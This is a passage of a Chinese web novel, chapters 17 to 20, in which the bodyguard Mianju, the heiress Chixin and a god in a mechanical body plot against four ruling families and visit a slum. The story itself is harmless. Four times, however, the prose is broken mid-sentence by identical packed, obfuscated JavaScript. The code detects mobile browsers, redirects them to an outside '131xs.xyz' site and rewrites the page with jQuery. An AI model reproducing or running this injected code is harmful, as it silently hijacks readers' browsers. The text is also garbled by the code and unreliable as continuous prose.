她的心也像是跟着那口气被叹出喉咙。 “她的身体素质好的有点不像人了,那么恐怖的恢复能力给我们的手术添了太多麻烦,完全没有动刀的空间,药物生效的速度还没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449317|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她自己愈合快。我们没办法,只能暂时把她安排到重症监护室……” 医生神色怪异地看着痴心。 “说实话,等你朋友自我恢复的效果可能比治疗要好。” 痴心啊了一声。 心脏又重新回到胸腔活蹦乱跳起来。 这和她做好准备要应对的事好像不太一样…… “那医生,她怎么在里面躺了那么久,真的没事吗?” 提到这件事医生的表情更诡异了。 “呃……” 他总不能说是主治一开始没发现患者愈合速度,好不容易把肾脏摘了,还没干别的,就发现患者身体受了刺激似的开始长新肾,于是兴致勃勃在一旁记录观测了吧…… “总之回病房睡两觉应该就行了……”占着重症监护室都有点浪费医疗资源了。 第三天,被医院批准放任自流的面具从豪华套房的胶囊舱中醒来。 她在胶囊舱里躺了三天,痴心就在房间里陪了三天。 “你醒了?医生前天下午就把你转出重症监护室了,现在感觉怎么样,哪里不舒服吗?要不要喝点热水?” 面具侧着耳朵听了听。 两个保镖站在门口,卫生间两个,角落站着一个……面具看到痴心眼下一片乌青,支着自己起身就要从胶囊舱出来。 痴心连忙按住她,点击起身按钮,将水杯送到她嘴边:“你先别急,我喂你!” 面具没有应,自己伸手接过水杯,小抿了一口。 她刚要放回杯子,就见痴心目不转睛地盯着自己手里的杯子,表情极其严肃,堪称如临大敌。 那表情和自己看见任务目标时的样子差不多。 面具迟疑了地将杯子递到痴心手中,见她接过杯子后,立刻如释重负地吐了一口气,表情甚至有点心满意足。 “……?” 痴心放下杯子,看见面具表情怪异,以为是哪里不舒服:“怎么了,哪里不舒服?我叫医生再检查一下!” “那群人抓到了吗?” 痴心愣了下。 “你才醒来就想说这……”痴心咽下了疑惑,直言道,“没事了,当时他们派了两个狙击手,本来是想把你解决活捉我用于威胁父亲的,但你太强了,他们只能转变思路同时解决我们两个。不用担心,父亲说这种事不会发生了。” 面具安静地听完,自然地转移话题:“我的黑罗呢?” 痴心下意识看向面具略显与众不同的眼睛。 联邦人的眼睛是黑色的,但面具的眼睛是金色的。 “那条破了,我又重新给你定制了一条,但还没到。原本的在这,也让人洗干净了……是你很重要的东西吗?” “没,给我吧。让卫生间的人出去一下。”面具冷淡道。 “嗯……嗯!”痴心扭着头让一旁的保镖喊卫生间的人出去,回过头又温柔道,“需要我陪你吗?” 面具按下脱舱按键,和正常人没有任何区别地脱舱、行走,没接痴心话茬。 痴心自己倒先闹了个红脸。 好尴尬…… 17. 第十五场 赤忱者流萤微明 一会儿,面具重新缠上黑罗,换了卫生间柜子里备好的衣服从卫生间出来。 “走吧,回去。” “啊?” 面具靠在墙边,习以为常地阐述:“你几天没休息了?你的父亲雇我来保护你,不是让你来照顾我……” “其他人出去。” 一时间病房内所有人都看向痴心。 痴心冷着脸又重复了一遍:“除了她以外,所有人从屋子里出去。” 房间内气氛一时显得凝重。三个保镖沉默地按着命令立刻,一个接着一个与面具擦肩而过,开门又关门。 终于,房间里只剩下一头雾水的面具和难得生气的痴心。 在面具印象里,这还是她第一次见痴心给人脸色,她还以为痴心这种人脾气好到不知道什么是愤怒呢。 虽然她也不知道痴心为什么愤怒就是了。 “为什么要这么说?” 面具疑惑地看向痴心。 “你为什么这么说,你觉得我的命比你金贵吗?” 痴心拿出自己这几天一直在握手里的枪,逼近面具。她将枪上膛递到面具手中,用枪口指向自己。 “你舍命救了我一命,这是我欠你的,我还你。来吧,你开枪吧。” 面具不解地皱起眉,她完全不理解痴心的行为:“你疯了吗,开枪你会死的。” 痴心笑了。 “是呀,你也知道只要开枪我就会死,你也知道死亡是不好的。那为什么一点也不在乎自己?你从来就没想过活着是不是?” “松手。” 痴心从善如流地松手回到床边坐下,见面具还一脸茫然地看着自己,她的目光变得柔和,叹了口气。 “你过来,陪我坐一会儿。” 面具忽然掂了掂枪,才反应过来痴心根本没放子弹。 “我这几天预习了课本,看到一个很有意思的事。科学家发现,经过漫长的自然选择,不是强壮的恐龙和智慧的尼安德特人活了下来,而是人类——那些愿意选择顽强活下去的物种。在心理学上,我们称之为心的韧性。” 面具坐到她身边。 “虽然我没有你的能力强,但是我不会用自己的生命开玩笑。我知道这个世界并不令人期待,我也理解你选择成为旁观者的心情。但是面具,你可以漠视世界,却不应该漠视自己。 “我很感谢你对我的保护,也很庆幸遇见了你。我微不足道的情绪或许不足以成为理由,但那也是你存在的意义。等这样的意义汇聚得如此庞大时,也许它也能引领你找到理由呢? “也许你没有发现,面具,你身上是有光的。我如此坚信着,你一定会找到属于你的理由。” 痴心担忧地看着这个只比自己大一岁的女孩。 “他人无法真正拯救你,只有你的心才能替你做出选择。现在你的心被一片大雾蒙住,所以我才来告诉你,别再随意让自己置身险境了,好吗?” 面具忽然想到了老仆人曾对她说的话。 她和痴心的意思好像都差不多。 于是面具语气真诚地发问:“你这几天保养我的枪了吗?” ………… 神明借着机械身体趴在床上,看累了,翻了个个。 “还好机器头不会流泪。痴心姐姐,你这样我会有心理压力的——明明是那么好的女孩子,被我附身后变成这样,面具看到你时一定很想杀了我吧?她不是一个能被人控制的家伙,我讨厌她算计我……” 但我也不是那种恶劣到,会因此就要攻人心的坏人。 如果不是为了活下去…… 如果有办法让你变回原来的样子…… 神明伸出机械手对着天花板握住又松开,像是在模拟星星眨眼,像是流萤的腹灯频频微明。 “那么即便是让我向神祈愿,我也愿意让真正的你回来。” 你就当,这是“神之告罪”吧。 痴心。 3月26日17:49沉金区金街东 “我回来了——怎么不开灯?” 记忆中温柔又坚定的声音像是做梦般出现在她面前。 “调低点透光率,我要开灯了。” 面具躺在床上嗯了一声,念头一动打开了关于黑罗的界面,听话地调低了透光率。 痴心轻笑出声,明知故问:“你这两天怎么没回基地?” “在想怎么借神明之手,干掉四大家族。” “那你想到办法了吗?” “需要条件。”面具坐起来,“你怎么变回来的。” 痴心想了想:“你那天把我骂得那么狠,我再不回去好好反思,不就要被你利用完彻底抛弃了吗?” “靠着反思就能变回来?”面具眯了眯眼,“你到底是谁?” “嘶,好像怎么样都没法让你相信我是痴心呢,那不如先听我来告诉你个好消息吧。” “不,我曾对你下过反向暗示,防止78号有人动用脑机对你下手,破坏布局。”面具看向痴心,“在我离开你后,是谁担任你的贴身保镖?” 痴心愣了一秒,随即笑出声来,语气嗔怪:“我怎么一点也不意外——要是我没被神明附身,会被你瞒一辈子吧?” “别岔开话题。” “是仓鸮。你拼死保护我的那年年底捡到的他。他失忆了,醒来后只认你这个救命恩人。他是打架的好手,后来给你当搭档,你走后就让他保护我,对吧?” 面具不置可否:“秘密呢?” 痴心迟疑了一会,似乎在分辨记忆的真假,过了很久,她才了然点头。 “十二个影子。他有特异能力,最多可以控制十二个影子分身。但你不让他用那么多,因为超过十个他的精神就开始不稳定了。这个秘密只有我们三个知道,别人都不知道。” 是真的。 她真的回来了。 “所以你要说什么好消息?”面具又重新躺回床上。 痴心神秘一笑:“赐福,记得吗?神明总是挂在口边的东西,用来修复的某种存在。” 面具点头。 “我能感知到神明获得的信仰,那种赐福会先流经我,再流向祂。” 这确实是个重要的消息…… “身体和灵魂一分为二,信仰却全部归属于你,你的优先级比神明还高。两个可能性,你也是神;或者,祂不是神。” “如果是信仰天生偏好身体呢,比如祂用的是我的身体出面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449318|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”痴心质疑。 “悖论。祂早就想到了这种事情,这两天才会那么快的用那副机械身体接触信徒。但你仍在获得赐福,只能是你本身更吸引信仰。变量在于附身。我更倾向于你的身份不一般,否则神明为什么能选择你作为载体。而破绽在于神明没有料到你的‘死而复生’,或许正是因为你本身的特殊,才能保证你不因降临泯灭。” “可我不是神。你知道我的父亲,他……他不是神。” 面具知道她难以启齿的话。 78号的头目,如果他是神,何须给上联区当狗——甚至上了脑机。 “现在讨论这种事没有意义,试试看,能不能限制赐福流向神明。” 痴心集中注意力。 金色丝线一样的存在凭空浮现,在她的精神领域内缓缓流淌,在流入某个虫洞般的空间后,从中消失不见。 那就是她和神明精神的连接处。 于是她试图控制那些金线停滞。 “可以。” “很好。”面具满意地说。 最后一块拼图拼上了。 “面具,你倾向于前者,也是因为需要祂作为神明给你带来变量,对吗?我知道你三年前突然从暗……” 面具制止了痴心的话。 “还不是说这些的时候。你父亲为了保护你几乎不让你接触78号深层的东西,但如今你也进到了圈子,该了解一些准则了。不要提及废弃的代号、不要追忆过去。虽然你的手环已经被我替换过了,但你的身份本身就容易惹来你父亲和西奥的注意。如果不重视细节,你会害死别人的。” “好,我记下了……韧性、光芒。面具,我喜欢你现在的样子。” “不要暴露偏好。”面具说着,想到什么似的,“要改个代号吗?” “不了。赤诚之心,还有一颗痴心,换了个对象而已,意义没有变动。”痴心开玩笑道,“或许我该说,一个代号而已,没有区别?” 但面具很认真地反驳了她:“有区别。但你能这样想也好。” 痴心:…… 我恨她是块木头。 “你还是恭喜我重获新生吧。” “嗯,恭喜。”面具将文档发给痴心,“先按文档里的步骤整理分析一份报告吧。” 痴心无奈笑了。她没脾气地打开文档,发现里面全是怎么合理运用墨隧、人脉、代码和已有人工智能建模挖掘并分析情报的知识。 大概看了看,编程知识部分面具一概没写,主要着笔的部分都在于怎么遁着蛛丝马迹不断切入好的角度——这份文档完全是参考她的各方面水平写的。 但是从见到自己到现在,有二十分钟吗? “你什么时候写的?” “刚刚,精神链接输入的。”面具说。 痴心沉默。 差点忘了这人不仅是木头,还是高智木头。 她多余问这句。 面具又补了一句:“你父亲已经知道你叛变的事了,拿我与你的旧识搪塞过去。学院的关系保持联络,别断联。这几天先不要去学校,说你精神状态不舒服需要静养,先去我的房子弄情报工作。操作台是你编的,有情况直接用。神明那边我来应付。” 18. 第十六场 如果拥有能力并非幸事 就如神明所说,祂随面具发展下线。 痴心离开基地后去了哪里、接下来做什么,面具只是随意提了一句,神明也没有多问。两人相安无事地各司其职,面具一连四五天都没有回过基地。 一时间组织的两个高层好像又回到“君仁臣忠”的状态。 参考面具给的建议,痴心给父亲发去“78号大小姐被无辜卷入伪神组织的高层风波、又被二把手面具放跑”的借口后,男人只是安慰嘱咐了两句。 痴心又提出受到精神伤害后的她理应向学校申请休假的观点。 男人依旧表示认可,没有对她的休假多说什么,甚至主动提出让她出门散散心,与痴心接下来准备提出的要求完全一致。 整件事顺利到痴心都不知道他究竟是否相信她的说辞。 她想,也许他们只是需要给彼此一个台阶。 这本身也是面具计算在内的事实。 痴心其实有些难过,但她不想让面具失望。索性收拾好心情安安心心地呆在面具家,根据面具的引导开始学习情报工作。 晚,面具结合痴心的回应操控情报帮助她彻底洗脱嫌疑。 无论是帮助伪神组织高层内斗导致神明被嵌入新外壳,还是治安局内乱后“以人为本”新聘的仿生人,所有事件始末全都贯穿着“亚富”二字。 由于熟悉套路中那惊人的相似性,面具误打误撞地将四大家族的矛头引导对准了两次事件的最大受益人,亚富公司。 3月27日、28日,海弄区议员库莲·洛克斐不得不按兄长沃尔·洛克斐的吩咐,放下手里的研究项目,面带死意地和克家家主克谭同时出席亚富小型内部新品交流项目。 亚富科技首席执行官康恩整整招待了二人两天,才将库莲这个大麻烦空手送走。 至于克谭—— 在康恩的极力要求下,克家最大的医院不得不又勉为其难地帮助亚富临床实验了三台成本极其高昂的设备。 即便克谭已经反复拒绝,但康恩坚持这是得以让科技造福百姓的重要工作,最终克谭认可于康恩的精彩辩论,发自内心地承认这是副总统理应做出的成就。 双方友好达成共识,交握双手后克谭潇洒离去,康恩目送副总统女士背影,直至车尾红灯消失于茫茫公路尽头。 此事于亚富工作日志亦有记载:3月28日,目送副总统三十里,CEO临路笑。 3月29日9:00神明地下基地 “上联区的老人们基本已经被腐蚀了,但我们要找的这个人除外。” 痴心本人的投影被面具以一个小方盒子投影到圣堂中心,鲜活像真实出现在圣堂中和他们面对面一样。 这是痴心第一次参与配合行动,神明被面具拉着,一定要祂参与组织事务,给予新人鼓励。 神明觉得面具没憋好屁,哦,没安好心。但碍于面具的拳头威胁,祂还是老老实实地坐在下面听。 “上联区为了防止底利马暴动总要选一两个底利马的傀儡进入联邦议会的。招揽的时候承诺给底利马一点好处,投票的时候可不是这回事,再把他们的家人接到沉地安抚一下。 “理想碰壁、现实怀柔,没有谁能坚持那样可笑的仁义。 “何朴。十年前受孟家提携,现任军备处处长,是个长袖善舞的聪明人。 “军备处长不是那种坐班吃饭的虚职,一般都是孟家亲信来做的。但这不是何朴的厉害之处——他只用了三个月就坐稳了这个位置,军备处上下一片称赞,无人不从。没有人腐化他,他很明智地选择在底利马的决策上保持沉默。但据可靠的情报来源,他在暗地支援底利马的几个小帮派,详细资料在SPOT文件夹。 “简单来说,这几个帮派在帮底利马普通人。何朴能在三个月内处理这么多棘手的问题,甚至不动声色地瞒过孟家转移军工,这个任务目标绝对不好对付,不过好消息在于他不算敌人。” “结果不会变。”面具打开报告大致扫了一遍,记下了那几个小帮派的名字,“你在情报工作上很有天赋,才三天就顺藤摸瓜到这些,细节也抓得很老辣,后续多在这方面下功夫,会有很大用处。” 痴心对面具的夸奖表现平静,两人客气如初。 “好,我会继续研究,不会让你失望的。既然这部分没有问题,我就先下了,下午还有约。二位,预先祝你们行动顺利。” 她公事公办地说完,退出了通讯,投影也在原地消失不见。 “你真的很会调教人,面具。”神明不由得感叹,“感觉名字朴实的总有很大的气运——” 神明敏锐察觉到了矛盾。 “不对吧,既然痴心说他这个人除外,底利马的那批仿生人怎么回事?” “想到了?” 面具似笑非笑地看向神明,神明突然就明白过来。 “你骗我?那根本不是针对底利马的东西?” “神明大人,你总想向我展示你全知全能的一面。若你真如自己所说,怎么会不知道黎港的集装箱里,装的都是用我基因造出的人造人呢?” 面具的语气平静,言辞却在步步紧逼。 神明顿时慌了,祂急切地反驳,不由自主地拔高了声音。 “那是因为我受伤了!能力有限!” “是吗?受伤是个很万能的借口。很可惜,现在情况有所改变了……” 面具抱臂向后靠去。 “痴心可以截流你的信仰之力。请教神明,我是否可以理解为你的命掌握在我手里呢。” 神明不可思议地瞪大了双眼。 “你、你说什么...你在威胁我吗?面具,你威胁我?!你这个卑鄙的——人类!你特意让我听到这些就是想让我按照你的意思做出选择?你这个唯利是图的坏家伙,翻脸不认人的混蛋!我讨厌你!我讨厌你!!!” 少女气得从机械身躯里窜出来,狠狠做了两个深呼吸。 “很好、很好!不就是价值吗,以我现在的能力,只能使用精神暗示帮你。但这就够了,这就是最合适的能力!你根本什么都不明白!” 面具可以不威胁她,她明明可以好好和自己说! 她明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449319|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明清楚自己对痴心有愧疚,一定会为痴心的理想做出牺牲,但她还是威胁自己! 意味什么——意味着面具从来没有信任过她!也不在乎她! 虽然她们彼此算计、互相隐瞒。可是毕竟共事半年之久,她那么聪明的人明明知道彼此的目标没有分歧。 只是因为非她族人、只是因为忌惮她的力量、只是因为从一开始就是隐瞒……所以同行再长的路,也放不下戒备。 只是因为,她是一个旁观者,不会插足别人的世界,也不让别人插足自己的世界。 “怎么使用?效果和副作用是什么?” 神明看到面具这副毫无波澜的态度就窜火,试图平复心情…… 笑死,根本平复不下来,和她爆了算了! “没什么用法!心里有什么念头就能放大什么念头。没有副作用,他们该干嘛干嘛!” 她越想越委屈。 凭什么啊!凭什么这么凶她、威胁她、把她拒之于千里之外!凭什么无视她的意志,凭什么桎梏她的能力? 能力能力能力! 又是为了她的能力!!! “我是在问你。使用这种能力对你有没有不好的影响。” 欸? 原来是在关心她吗? 神明登时就哑了火。 好吧,她短暂地原谅面具一分钟,但是嘴上不能放松! 她撅嘴,轻哼了一声:“没价值也是死,有没有影响有什么关系。” 活像一只傲娇的奶油小猫。 “你答应痴心的,还要完成她的理想,所以有关系。” 眼见神明又要生气,面具叹了口气,压着嗓子让语气不那么冷硬。 “小神明,你是我等了三年的希望。底利马的新生、费可的重塑、联邦的变革,你的降临让这一切有了不必颠覆普通人的生活就能成为现实的可能性。我需要你的力量,更需要你的心意。” “哦……”神明默默回到机械身体中,“也没什么,就是比较耗力气,用一次休息几个星期就好了。之前获得的信仰足够支持我对一两个人用了,你省着点规划,我还要修复。” “本来何朴这件事的成算只有九成,现在结果一定不会变了。” 如面具所料,神明听到这句话显得更开心了。 终于把小孩哄好了,面具拍了拍神明起身:“收拾一下,跟我去底利马吧。” “哼哼,那当然了,我可是很厉害的……嗯?”神明接过面具交给她的手环,“这是什么?” “底利马的凭证。带好,记得开机。” 神明哦了一声,打开手环。 屏幕先是闪过了一只小金色的眼睛,机器缓慢地加载了十几秒,终于出现了普通手环自带的应用图标。 神明尝试着点了两下,这次手环卡的时间更长了。她愣了一会,终于意识到这是底利马出品的老古董,实用价值几乎为零。 神明悻悻地将手环戴在手腕上,嘴里低声碎碎念。 “讨厌的面具,赔礼道歉都不知道送点好东西,真没品。” 19. 第十七场 悲惨城区与呼啸墙根 3月29日10:01 “手环呢,开机了吗?” 神明愤愤撩起面具出门前给自己套的莫名其妙袍子,抬手点头。 面具抓起神明的机械手在手环上调整一番:“跟着手环上的指引走就可以。” “那你呢?”神明问。 “我要出去一趟,很快回来。如果有人说了你听不懂的话,就回他‘人死了,那位杀的’,记住了吗?” “哦,那你快点回来。” “底利马这样的地方混乱却坚韧,人也最会趋利避害,有这个手环一般不会有人找你。”似是不放心,面具还是嘱咐了神明一句,“别碰任何东西,别用外表判断任何人。在底利马,没有孩子老人,只有敌人和死人。” 神明闷闷不乐地看着面具嗖地消失在复杂混乱的小道里。在转过身的瞬间,祂忽然想到这是第一次参与组织外勤,好奇心顷刻就取代了不满。 祂开始张望起四周的景象。 一直以来,都是信徒们给她描述痛苦悲惨的遭遇,她从来只是想象,但现在,她终于亲自来到这片被所有人攻讦嫌恶的土地。 市井街头到处都是涂鸦,偶有未完全被破坏的雕花墙面混杂着被酸雨侵蚀的痕迹,竟然也能让她透过那些模糊的艺术看到百年前的辉煌。于是眼前的垃圾堆和腥臭的污水泥淖里、那些用残破灰布蔽体的人群就显得更难以令人接受。 病鬼的呻吟声引起神明的注意,祂下意识扭过头。 浑浊的眼白中冒出毫不掩饰的绿光,黏稠又直白地吸附在祂身上,似乎一眼就盯上了这具看起来极为值钱的机器人。 几个人蠢蠢欲动地蠕动身子起来,神明心尖微颤,祂咬咬牙准备抬手,对方却忽然瑟缩起身子,退回了原地,甚至毫不犹豫地背过身蜷缩起来。 “?” 种种细节在神明脑海中一闪而逝,祂敏锐地捕捉到了这种变化的原因。 神明抬起手环,转了转。 原来狐假虎威这么好使吗! ………… 小孩贼眉鼠眼地观察一圈四周,靠近街道上大摇大摆、略显突兀的机器人,将人拉到一边,紧张兮兮地搓了搓手。 “西边的八只猫被人剥了皮,你听说了吗?” 神明有些发懵。 一路上四处总有很明显的目光在打量自己,刚开始隐秘或直白地充满恶意,但是很快就不是这样了,他们都会表现出敬畏和忌惮的态度。小男孩是第一个接近她的人,一开口就是这么重量级的话,砸得她晕乎乎的,实在是措手不及。 小男孩见状显得有些蠢蠢欲动,他缓缓勾住背后的烙环,又警惕地问了眼前怪异的机器人一遍同样的话。 “西边的八只猫被人剥了皮,你听说了吗?” 神明终于反应过来,神情自若地按着面具的话回答:“人死了,那位杀的。” 小孩并没有像神明想象的那样卸下怀疑,反而进一步靠近祂,虎视眈眈地问:“那你呢?” 这什么问题? 面具没和她说别的答案了啊?! 神明再次慌作一团,她努力克制着自己,不让机器表现出来她的不安。 没有答案的问题不是问题! 真正的神明不会畏缩不前! 神明索性装腔作势地冷冷扫了他一眼,半真半假地开口:“这不是你该问的问题。” 小男孩闻言抖了抖,没有再继续说话。那只不安分的手重新垂落身侧,以示自己没有恶意。 下一秒,他飞快离开,一眨眼的功夫就消失在底利马众多羊肠小道的其中一条。 神明看起来没有什么反应,只继续平静地向目的地走去。 只有她自己知道,宽大的袖子里,她的右手在怎样握着一条纸条不住颤抖。 终于,在她转进一条偏僻的小道时,面具的声音从拐角的阴影处传了出来。 “把纸团扔到铁通里,别回答。” 神明顺势松手。 没过两秒,祂听到手环的路线发生了变更,而面具依旧只闻其声不见其人。 “这次我会在暗处,走吧。害怕可以深呼吸调整。” 神明重重地吐出一口浊气,听到面具在暗处她顿时就安下心了。 刚才,如果自己慢了一点,那个小男孩就要动手了。 她探查对方精神时,居然只感受到了警惕和杀意,一点正向的情绪都没有,但那个小孩不过八九岁的样子。 一开始听面具的警告时她还觉得面具有些夸张冷硬,但现在她是真的感受到了。 面具将纸条收起。刚才去情报点和老板拿了何朴近期时间安排的情报。墨隧半公开的性质会引起各方警觉,她只能用这种最朴素的方式。 面具藏在暗处一路跟着神明。两人越走景色越破败,不光是人少了,建筑也几乎变成了稀疏的碎砖断瓦,她索性直接出来和神明一起往目的地走。 “刚才那是在打什么哑谜呢?”神明有些好奇。 面具一本正经地回答:“狐假虎威了一下。” 神明:? 她以前怎么没觉得面具冷幽默的天赋这么神经! 面具没说话。 西边的八只猫是黎港的八个集装箱,被人扒皮是说三个帮派把东西都毁了,她觉得神明不会想听到这件事。 神明没得到答案,又看面具心情似乎不错的样子,顿时有些气闷地刻意落了半步,狠狠地踩起了面具的影子。 面具没管神明小孩子气的举动。 又走了三分钟,她低头看了眼标记点的位置:“到了。” 神明闻言抬起头,眼前的景象让她顿时收了小性子。 这绝对是一处在底利马都称得上荒凉的鬼地方。 茅草和着不知道是什么的黑黄色物质黏在几块发霉的木板上,带着缺口和裂缝的土罐子随意倒在堪称墙的长方体断块下,一道几不可察的白烟摇摇晃晃地从“围墙”中心升起,挣扎着透出露天的“屋顶”。 似乎就没有一样东西能和悲惨两个字划清界限。 神明瞪大了眼睛,不可思议地停在了屋子两步之外。 她根本不能理解世界上怎么会有这么恶劣的生存环境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449320|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,尤其是在见识过上联、金街的繁华之后,这种对比荒诞得让她想笑。 她突然想起前几天面具翻的几篇歌莎家的新闻,讲着平等民主;还有克家在上联的慈善晚会,要在沉地建立什么基金会,细节什么她记不清了,但她现在知道为什么面具看了两眼就关了。 虚伪。 在神明沉浸在震惊和愤怒中时,面具丝毫不拖泥带水地迈着大步走进了小屋。 小男孩正岔着腿蹲在药壶前看火,他哥哥在不到两人小腿骨高的破床板前缩着四肢给母亲擦拭身子。 听到动静,两个小孩顿时看向门口。 金色的眼睛和墨隧提示。 小男孩没什么多余的动作,他将头转了回去,继续蹲着盯药,只是把两只耳朵悄悄支棱起来。 这种事哥哥会出面,母亲的药更为重要,他应该专心一些做自己该做的事。这种简单的理性权衡是底利马人的基本能力。 大一点的男孩起身转过来,不动声色地向边上移了一步,把枯瘦干黄的母亲挡在了身后。 “东西呢?” 神明站在面具身后半步,听面具开口,她有些小小的意外——语气没变,但声音比平常小了很多。 少年露出挣扎的神情,显得格外犹豫。 面具没有开口催促他,只是将手放到了口袋里。 这一个举动立刻让少年动摇起来,甚至显得有些惊恐。但并非他想的那样,面具从口袋中掏出了一小块被密封好的海蓝色软块。 那东西外表滑腻,像某种海洋动物的皮,但内质层理分明,又类似植物的结构。 这种特异的生物世所罕见,可他一眼就了出来。 上联内部直供四大家族的无价之宝,78号用无数条人命换来的、能生死人肉白骨的神物。 蓝涡,一整块未被提取稀释过的蓝涡原物! 神明彻底失去了理智,她几乎控制不住自己的表情。 是水参?! 整个易区最重量级的交易品,参泽皇域独一无二的秘宝!为什么会出现在这里? 为什么会出现在面具手里?! 面具趁着少年惊愕的空隙,将东西交到了他手中,见少年捧着神药久久不回神,敲了敲手环:“我要的东西呢?” 少年双眼通红,那双捧着母亲救命之物的手仍在发颤,他堪堪清了嗓子,声音依旧发哑。 “我、我……”他终究没有说出口,像是不好意思。 这种扭捏在底利马太过稀罕,稀罕到面具还是希望这种情绪以后可以不用出现。 “你打算一直捧着?” 少年闻言眼睛猛地亮起来,他转身将蓝色小块塞进母亲口中。神药入口即化。同样肉眼可查的,还有那具进气多出气少的病体,从苍白干瘪迅速变得红润饱满的肌肤。 小男孩见状抛了扇子猛跑到床前,他不可置信地看着古早记忆中的身影,似是不相信地狠狠揉了揉眼睛。 电光石火间,白发渐青的妇人已经能够自己支起床板尝试起身了,她看着有些陌生的孩子,小声地开口:“小培?” 20. 第十八场 如果埋没声名才是常态 “妈妈!!” 男孩哇的一声,扑到母亲怀中大哭出声。母子两人抱在一起。母亲泪流满面地拍着小儿子,又抬起头看向更为陌生的长子。 少年的眼中涌满眼泪,但他没有像弟弟一样凑到母亲面前,他朝母亲用力点头后转身,什么话也没有说。背影坚决又孤独,在女人模糊的视线中,越走越远。 胡乱抹了眼泪,少年一边招呼面具向屋外走,一边将藏在怀中的重要情报交给面具。 “我已经通过78号的内部选拔,之后需要任何情报可以跟小培说,他会找办法告诉我,我会替你收集一切情报。” 面具扫了一眼。 新型剧毒? 是配合烙环使用的东西,在策划什么可以嫁祸底利马的计划吗? 她收起情报,转身就要离开:“没有以后了。” 少年闻言先是一顿,随后嘴角上咧,满眼喜悦,接着泪流满面。他连忙对着面具的背影深深地鞠了一躬,想要喊出那个代号却生生止住,最后只是反复着道歉、道谢。 “谢谢您、对不起对不起......谢谢您.....” 曾经有个少年名叫徐启明。在他年幼时,曾因为一个偏激却无私的小女孩,对一位底利马最少见的好人恶语相向,甚至大打出手。 但那个人没有计较什么,反而暗示自己以后可以和她一起学格斗技巧。 此后,在数个魏嘉禾和孩子们跟着面具学习的日子里,都会有一个少年偷偷跟进暗道,借着半掩的门扉跟着学习。 后来…… 后来他被魏嘉禾揪出来揍了一顿,美其名曰交学费。 少年久久地目送两道身影,无言却比任何口头的感谢更加深刻。烬土没反应地继续向前,那个看起来莫名其妙的机器人僵硬地跟在身后。 一种前所未有的轻快从他心底生发而出。他有一种预感,底利马、下联区乃至上联区,都将迎来变革。 他知道这是什么意思: 希望。 ……或许他可以去帮魏嘉禾? “面具,你刚才给的,是什么?”面具转过身的同时,神明终于艰涩地问出了这个问题。 但面具没有回答她:“后面有几个尾巴,你按着路线先走,我去把人解决了就来。” 神明哦了一声,动作略显机械。她感觉自己即将抓住什么,但想法如随机漫步,她连关键点的尾巴都碰不着。 参泽的无价之宝,她都只是听老域主提起过!就被面具这么给人了!这件事的冲击力比看到男孩家艰难的生存环境还大! 神明感觉自己一个人在风中凌乱。 回去的路上,神明颇有些讨好地搂着面具问,那个灵丹妙药还有没有呀、能不能给她些呀,义正言辞地说这样自己说不定就能快些恢复,帮面具多控制几个人! 面具语气自若:“对你有用?” “欸嘿嘿,试试,试试不吃亏嘛。” 神明结结巴巴,略显谄媚。 “没有更多了,这就是最后一块。” “啊?!”神明趁机狠狠掐了面具一把,从后座上站起来,“这么珍贵的东西你就这么给人了!还是最后一块!” “你是不是知道什么?”面具问。 神明蹭得坐回原位,拉开和面具的距离:“什么什么?我应该知道什么?我就是感慨你财大气粗……” 眼前的景色逐渐非底利马化。 “我们不是去找何朴吗,怎么回去了?” “晚上再来,他现在不在。” 神明皱起眉:“那你让我来干嘛?” “帮忙转移注意力。” 神明:? 不要再说奇怪的话了好吗? 3月29日18:48 面具不知道又鼓捣了什么新仪器,一回来就从一个人钻到顶楼没下来过。直到神明美美睡了一觉醒了,感到有些无聊,跑上楼去找她,就看见她在那对着个破盒子说话。 “再增大覆盖范围会影响模拟的真实性,还是需要分体增强器。要换种材料减小体积……看来得再去一次sp1,接下来的日程安排里……” 神明听得云里雾里的,踮着脚无声凑近。 